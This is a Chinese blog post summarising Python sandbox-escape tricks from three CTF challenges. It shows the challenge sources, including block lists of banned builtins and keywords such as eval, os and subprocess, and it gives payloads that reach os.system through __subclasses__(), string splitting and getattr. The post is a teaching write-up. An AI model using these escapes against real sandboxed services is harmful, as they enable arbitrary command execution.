热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:python沙箱逃逸小结

篇首语:本文由编程笔记#小编为大家整理,主要介绍了python沙箱逃逸小结相关的知识,希望对你有一定的参考价值。  上周末,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例。今天

篇首语:本文由编程笔记#小编为大家整理,主要介绍了python沙箱逃逸小结相关的知识,希望对你有一定的参考价值。


技术分享图片
 
上周末,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例。今天结合之前的所学和比赛经验写一个小结。

 


案例1

 
这是hackuctf 2012的一道题

1. def make_secure():
2. UNSAFE = [‘open‘,
3. ‘file‘,
4. ‘execfile‘,
5. ‘compile‘,
6. ‘reload‘,
7. ‘__import__‘,
8. ‘eval‘,
9. ‘input‘]
10. for func in UNSAFE:
11. del __builtins__.__dict__[func]
12.
13. from re import findall
14.
15. # Remove dangerous builtins
16. make_secure()
17.
18. print ‘Go Ahead, Expoit me >;D‘
19. while True:
20. try:
21. print ">>>",
22. # Read user input until the first whitespace character
23. inp = findall(‘\S+‘, raw_input())[0]
24. a = None
25. # Set a to the result from executing the user input
26. exec ‘a=‘ + inp
27. print ‘>>>‘, a
28. except Exception, e:
29. print ‘Exception:‘, e

下面是脚本运行的效果。
 
技术分享图片
 
效果相当于python的命令界面,我们的目标是读取当前目录下的flag文件。
如果题目没有任何的过滤,读取的命令如下,导入os包,然后直接执行命令。
 
技术分享图片
 
但是直接导入os会报错,如下图
 
技术分享图片
 
因为 del 命令删除了对应的命令,如下图
 
技术分享图片
 
看了Ned Batchelder的分享后学到了新知识。我们可以用file对象read文件
下面是元类和元类型详细信息,元组,子对象
 
技术分享图片
 
由于file在索引40,我们可以硬编码。如下图
 
技术分享图片
 
用file类型读取flag文件。
 
技术分享图片

 


案例2

1. #!/usr/bin/env python
2. from __future__ import print_function
3.
4. print("Welcome to my Python sandbox! Enter commands below!")
5.
6. banned = [
7. "import",
8. "exec",
9. "eval",
10. "pickle",
11. "os",
12. "subprocess",
13. "kevin sucks",
14. "input",
15. "banned",
16. "cry sum more",
17. "sys"
18. ]
19.
20. targets = __builtins__.__dict__.keys()
21. targets.remove(‘raw_input‘)
22. targets.remove(‘print‘)
23. for x in targets:
24. del __builtins__.__dict__[x]
25.
26. while 1:
27. print(">>>", end=‘ ‘)
28. data = raw_input()
29.
30. for no in banned:
31. if no.lower() in data.lower():
32. print("No bueno")
33. break
34. else: # this means nobreak
35. exec data

相对于第一题,第二题是没有直接的回显。
我们可以用catch_warnings类(索引在59),进行命令执行。

1. ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache‘].__dict__[‘o‘+‘s‘].__dict__[‘sy‘+‘stem‘](‘ls‘)

 
技术分享图片

 


案例3

1. # -*-coding:utf-8-*-
2.
3. #!/usr/bin/python3
4. import sys, cmd, os
5.
6. del __builtins__.__dict__[‘__import__‘]
7. del __builtins__.__dict__[‘eval‘]
8.
9. intro = """
10. pwnhub cuit
11. pwn everything
12. Rules:
13. -No import
14. -No ...
15. -No flag
16.
17. """
18.
19. def execute(command):
20. exec(command, globals())
21.
22. class Jail(cmd.Cmd):
23. prompt = ‘>>> ‘
24. filtered = ‘\‘|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back‘.split(‘|‘)
25.
26. def do_EOF(self, line):
27. sys.exit()
28.
29. def emptyline(self):
30. return cmd.Cmd.emptyline(self)
31.
32. def default(self, line):
33. sys.stdout.write(‘\x00‘)
34.
35. def postcmd(self, stop, line):
36. if any(f in line for f in self.filtered):
37. print("You are a big hacker !!!")
38. print("Go away")
39. else:
40. try:
41. execute(line)
42. except NameError:
43. print("NameError: name ‘%s‘ is not defined" % line)
44. except Exception:
45. print("Error: %s" % line)
46. return cmd.Cmd.postcmd(self, stop, line)
47.
48. if __name__ == "__main__":
49. try:
50. Jail().cmdloop(intro)
51. except KeyboardInterrupt:
52. print("\rSee you next time !")

这题是cuit2017的题目,python3环境
这里主要过滤了大量的字符,包括1,2题所用的点号。

1. print(getattr(os, "system")

获取system函数地址,

1. print(getattr(os, "system")("ls"))

执行system(“ls”)
下面是获取flag的姿势
 
技术分享图片
 
以上都是利用Python作为脚本语言的特性来逃逸,但是还有一种高深的基于c源码的逃逸,简单点就是用c程序的漏洞实现漏洞,类似于PWN。最后也提供了参考链接,欢迎一起交流学习。
 
参考链接
http://bobao.360.cn/learning/detail/3542.html
http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
http://bobao.360.cn/learning/detail/4059.html


推荐阅读
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
  • sklearn数据集库中的常用数据集类型介绍
    本文介绍了sklearn数据集库中常用的数据集类型,包括玩具数据集和样本生成器。其中详细介绍了波士顿房价数据集,包含了波士顿506处房屋的13种不同特征以及房屋价格,适用于回归任务。 ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • 微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享,包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性,并提供了一些建议。 ... [详细]
  • vue使用
    关键词: ... [详细]
  • 电话号码的字母组合解题思路和代码示例
    本文介绍了力扣题目《电话号码的字母组合》的解题思路和代码示例。通过使用哈希表和递归求解的方法,可以将给定的电话号码转换为对应的字母组合。详细的解题思路和代码示例可以帮助读者更好地理解和实现该题目。 ... [详细]
  • 云原生边缘计算之KubeEdge简介及功能特点
    本文介绍了云原生边缘计算中的KubeEdge系统,该系统是一个开源系统,用于将容器化应用程序编排功能扩展到Edge的主机。它基于Kubernetes构建,并为网络应用程序提供基础架构支持。同时,KubeEdge具有离线模式、基于Kubernetes的节点、群集、应用程序和设备管理、资源优化等特点。此外,KubeEdge还支持跨平台工作,在私有、公共和混合云中都可以运行。同时,KubeEdge还提供数据管理和数据分析管道引擎的支持。最后,本文还介绍了KubeEdge系统生成证书的方法。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了如何在给定的有序字符序列中插入新字符,并保持序列的有序性。通过示例代码演示了插入过程,以及插入后的字符序列。 ... [详细]
  • 关键词:Golang, Cookie, 跟踪位置, net/http/cookiejar, package main, golang.org/x/net/publicsuffix, io/ioutil, log, net/http, net/http/cookiejar ... [详细]
  • 本文介绍了游标的使用方法,并以一个水果供应商数据库为例进行了说明。首先创建了一个名为fruits的表,包含了水果的id、供应商id、名称和价格等字段。然后使用游标查询了水果的名称和价格,并将结果输出。最后对游标进行了关闭操作。通过本文可以了解到游标在数据库操作中的应用。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • 本文介绍了一种划分和计数油田地块的方法。根据给定的条件,通过遍历和DFS算法,将符合条件的地块标记为不符合条件的地块,并进行计数。同时,还介绍了如何判断点是否在给定范围内的方法。 ... [详细]
author-avatar
qyc_3830179
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有